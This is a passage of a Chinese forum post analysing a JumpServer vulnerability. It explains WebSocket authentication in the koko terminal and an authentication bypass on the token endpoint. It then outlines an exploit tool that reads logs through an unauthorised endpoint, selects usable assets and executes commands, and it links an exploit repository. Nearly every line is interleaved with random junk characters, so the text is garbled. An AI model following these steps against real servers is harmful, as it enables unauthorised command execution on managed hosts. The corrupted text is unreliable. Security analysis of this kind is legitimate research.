) n( I9 G2 B- N9 V, ?/ Shttp://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73& x  d2 l1 {' t( i
图片* n' Z3 Z3 i. _: _* d' z: Y; o

3 w$ T* K- z: W3 @* f. J& z2 o实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。; x; R' l8 O. ^# {& h) }4 I

) j  v. Q+ F0 q9 k+ _$ g图片
) r7 P" m0 T/ v( O
7 x4 E6 [" P3 o, x$ e& ^Websocket认证
' D+ j3 c2 V% s! p& C即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
" a( D/ }) Z# @$ b! m
% G8 O3 J! H" X) H% S7 d" V# k( d一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。
* t+ H1 ~% M5 c3 l  B& \% P6 C) l* ^$ @3 Y
可以通过基于cookie的传统方式,或基于Token的方式进行认证。
$ v9 p) `: O% Z' H* @0 d; z* Q/ q
: m3 b" _7 C7 j$ S. W: ^; O传统的基于cookie的方式5 h$ L1 t4 c( e  H4 P7 u
采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。& e# R+ k. j) S2 E1 u2 c3 a

; x4 M/ n0 W/ o, ^" O  d' L4 |Jumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。8 Q: |0 m0 W: l/ @7 m# k0 u1 I
7 a8 G* g5 i, N5 ?2 [2 Z% M6 I+ k
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
3 T/ U5 ^: u% u, s+ S图片( Z* _; N2 R# G8 |
! }8 Y) u: r! G
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。
. a, A) F- ?% D! i/ R: f* W9 `( s9 ?- r
基于Token的方式- D; c* b0 Q! Z9 \5 n; B- Q
当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。
" w' Z0 W7 o  g$ C$ V1 @  X; l) i' [' f+ E$ E& l
漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证
' e) m5 a" u2 ^' h- o0 Z. C! R
1 m( }: B" \& ~: w" `" Zws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
0 J& I. ^- q) [1 C1 k3 ]接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。图片
; y- A/ ^6 z" F2 t1 E" ?$ b
% ~5 s4 K% L8 e认证方式对比
' q* |7 N5 x6 q; V1 Z传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。
- T. M$ o& N$ y4 A. _9 L$ ~+ ?0 a- w: `1 c. }( q
采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。7 P1 N! {- }# {& ?) [

1 `# t- p- Q! j' P* G0x05利用工具9 D; ~2 `$ M# ]1 g
编写思路6 v; A% Z" Y* C/ y& v
1.读取日志4 X/ w1 N4 ^7 E6 u+ ]. x
' b* s: Y0 O: r8 V: f0 d; @
根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。& e5 B0 b0 o. J0 C( ]' J- }

; y2 [$ c' g9 f- U图片9 `6 r7 C5 m! ~* [; d- C2 U1 H8 M

+ {4 Z2 R+ R  D- Q1 D5 Z  O' q2.筛选可用资产- E/ M, r7 }& }7 H+ G

8 \7 H  I8 r7 w# N# R, q9 |日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。
& |$ Z" K( z- r# W4 b" z! ^+ Q4 B1 u8 r
图片
9 i4 L9 Z2 q2 v/ ?) y- [8 G
* Y; ]% {) |- l$ u3.执行命令
2 w5 e8 U7 _9 S7 Z4 J' T+ v* C$ y: N: I) I. _& g  M4 G% T
在可用资产列表中选择目标进行攻击,执行指定命令。
) L* @+ ^( N7 c- C
4 P6 b% e! [* K6 A1 d/ }图片+ a# J; s* p  l8 e8 W& H5 m

; B: T1 w1 o( e! H/ w更多细节请移步:https://github.com/Veraxy00/Jumpserver-EXP8 u- a; e% J+ X
. t: W. d* N  l* w7 F
总结) w% M9 q! P9 x2 k
1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。
6 t* ~/ T) e2 B' I- q% ?' R2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。
. ]) a1 k2 d& u) e3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。2 J! a7 p7 C1 M, r
6 _' h5 V. [& v! n- i
您需要登录后才可以回帖 登录 | 注册

本版积分规则

返回首页|Archiver|手机版|小黑屋|易陆发现技术论坛 ( 蜀ICP备2026014127号-1 )

GMT+8, 2026-6-12 01:48 , Processed in 0.019304 second(s), 22 queries .

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表